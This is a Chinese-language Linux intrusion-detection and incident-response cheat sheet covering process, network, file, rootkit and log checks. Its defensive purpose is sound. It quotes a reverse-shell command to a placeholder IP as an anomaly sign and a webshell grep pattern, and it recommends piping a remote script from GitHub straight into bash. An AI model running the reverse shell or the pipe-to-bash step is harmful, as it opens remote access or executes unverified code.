一、进程异常检测
1. 动态进程画像(进程树分析法)
ps auxf --forest | grep -v '\[' # 绘制进程家族图谱
就像查看家族族谱,识别奇怪的 "家庭成员"
异常特征:
- 可疑的 /bin/sh 子进程(例:
bash -i >& /dev/tcp/1.2.3.4/80 0>&1) - 随机字符命名的进程(如
a3b4c5d6) - 高 CPU 占用的隐藏进程(按
Shift+H显示隐藏线程)
案例:某电商平台曾发现
systemd-journal下隐藏挖矿进程,通过进程树快速定位。2. 幽灵进程猎手(实时监控法)
top -c -o %CPU # 按CPU排序进程
htop --tree # 树状展示进程关系
操作技巧:
- 按
F5切换树状视图 - 按
S跟踪进程系统调用 - 按
k终止可疑进程
危险信号:
- 进程名包含
..或.(如./a.out) - 命令行参数包含加密字符串(如
base64解码后)
二、网络行为分析
3. 暗网连接检测(端口扫描法)
netstat -antp | grep ESTABLISHED # 查看活跃连接
ss -tulwnp | awk 'NR>1 {print $1,$5}' # 监听端口
关键指标:
- 非常用端口(如 6666、2333)
- 连接到俄 / 美 / 荷等国家的 IP
- 大量 TIME_WAIT 状态连接(>1000 个)
工具推荐:
nmap -sT -Pn -p1-65535 127.0.0.1 # 本地端口扫描
4. 深度包嗅探(流量分析法)
tcpdump -i eth0 'port 80 and host 1.2.3.4' -w attack.pcap # 抓包
分析技巧:
- 用 Wireshark 打开 pcap 文件
- 检查 HTTP 请求中的 Base64 编码
- 搜索
eval、system等敏感词
三、文件系统侦查
5. 恶意文件追踪(时空定位法)
find / -type f -mtime -3 -size +1M -exec ls -lh {} \; # 3天内修改的大文件
find / -name "*.php" -exec grep -l 'eval($_POST' {} \; # 查找Webshell
高危路径:
/dev/shm(内存文件系统)/tmp/.X11-unix(Xorg 临时文件)/var/tmp(持久化临时目录)
6. 隐形文件曝光(元数据分析法)
ls -laR /etc | grep '^...s' # 查找SUID/SGID文件
find / -type f -name ".*" -print # 显示所有隐藏文件
异常特征:
- 系统文件被修改(如
/bin/bash哈希值变化) - 隐藏文件大小异常(如
.bash_history突然变大)
四、Rootkit 检测
7. 内核级后门扫描(深度检测法)
chkrootkit -q # 快速扫描
rkhunter --check --sk # 静默检查
检测重点:
/proc隐藏进程(使用ps aux | sort -nrk 3检查)- LKM 模块校验(
lsmod | grep -v '^Module') - 二进制文件哈希比对(
md5sum /bin/*)
8. 系统调用监控(行为分析法)
strace -f -p 可疑PID 2>&1 | grep 'execve\|connect' # 跟踪系统调用
恶意行为特征:
- 频繁调用
execve执行新进程 - 非常规
connect系统调用(如连接到境外 IP)
五、日志与审计
9. 入侵时间线重建(日志溯源法)
journalctl -u sshd --since "2 hours ago" | grep 'Failed' # SSH登录失败记录
ausearch -k malware -ts today # auditd日志检索
攻击痕迹:
- 非工作时间登录(如凌晨 3 点)
- 连续认证失败后成功(暴力破解特征)
- 非常用用户执行
sudo(如nobody用户)
10. 文件完整性校验(哈希比对法)
aide --check # 需提前初始化数据库
rpm -Va | grep '^..5' # RPM系系统检查
篡改特征:
- 系统二进制文件哈希变化(如
/usr/bin/curl) /etc/passwd异常时间戳(比当前时间新)
应急响应工具箱
一键式检测脚本
wget -qO- https://raw.githubusercontent.com/trimstray/sandmap/master/scripts/sandmap.sh | bash
恶意软件沙箱分析
docker run -v /malware:/malware remnux/remnux-tools # 启动恶意软件分析环境
操作备忘录
-
取证优先:
mkdir /forensic && mount -o ro,loop /dev/sda1 /forensic # 只读挂载网络隔离:iptables -A OUTPUT -p tcp --dport 80 -j DROP # 禁止HTTP外连 -
样本保存:
zip -P infected malware.zip $(find / -name "*backdoor*" ) # 加密压缩样本